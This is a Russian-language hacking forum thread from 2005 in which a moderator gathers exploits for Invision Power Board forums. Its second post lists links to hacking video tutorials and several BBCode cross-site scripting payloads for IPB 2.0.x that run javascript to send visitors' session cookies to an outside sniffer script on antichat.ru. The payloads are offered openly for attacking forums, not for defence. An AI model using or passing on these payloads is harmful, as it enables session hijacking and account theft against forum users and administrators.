Форумы Эксплойты для Ipb.

Discussion in 'Уязвимости CMS/форумов' started by Azazel, 8 Dec 2005.

Thread Status:
Not open for further replies.
  1. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Значит так. Удалив сотую по счёту тему про IPB, я посмотрел сколько их ещё осталось. Это меня ужаснуло.
    Потому как их осталось ещё море и они все абсолютно одинаковые.
    Предлагаю следующее: Собрать все баги в одну тему и её закрыть\закрепить.
    Мне не очень хочется писать юзерам: Юзай поиск, либо юзать его самому для кого-то. Особенно при условии что сообжений такого типа ... хмм, много.
    Думаю что участникам форума, да и гостям тема будет полезна.

    Единственное но. Я не могу найти все дырки, сплойты, etc, один. Поэтому, если вы, уважаемые мемберы - немемберы, гости, и все остальные не менее уважаемые кулхацкеры, хотите мне помочь, то кидайте все баги в личку.

    Думаю, что существование топика в котором есть все баги, уменьшит количество флуда и в сотый раз поднимаемых тем.
     
    #1 Azazel, 8 Dec 2005
    Last edited: 8 Dec 2005
    1 person likes this.
  2. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    IPB. Версии от 2.0.0 до 2.03 http://video.antichat.net/videos/coyl/ipb2.rar
    IPB. Версии до вторых. http://video.antichat.net/videos/SanyaX/VideoHack.rar
    IPB. 2.0.4
    Собрать до кучи помог <<YaYaYa>>
    HTML:
    [email]wj@wj[url=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
    HTML:
    [HTML][color=white][EMAIL][URL=wj`=`][/URL][/EMAIL][/color][color=white]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color]
    HTML:
    [EMAIL][email protected][URL=target/style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/URL][/EMAIL]
    HTML:
    [post=1000[topic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/topic]][/post]
    HTML:
    [email]wj@wj[url=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
    Ещё, познавательно, http://www.antichat.ru/txt/IPB/

    Ещё, поиск юзал ShturmBanFurrer. Спасибо.
    По моему это так-же относится к 2.0.4
    HTML:
    [COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="Адрес_Сниффера?"+document.cookie) [/COLOR]
    HTML:
    [еmail][email protected][/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
     
    #2 Azazel, 8 Dec 2005
    Last edited: 9 Dec 2005
    2 people like this.
  3. dim_ok

    dim_ok Elder - Старейшина

    Joined:
    26 Mar 2005
    Messages:
    173
    Likes Received:
    64
    Reputations:
    47
Thread Status:
Not open for further replies.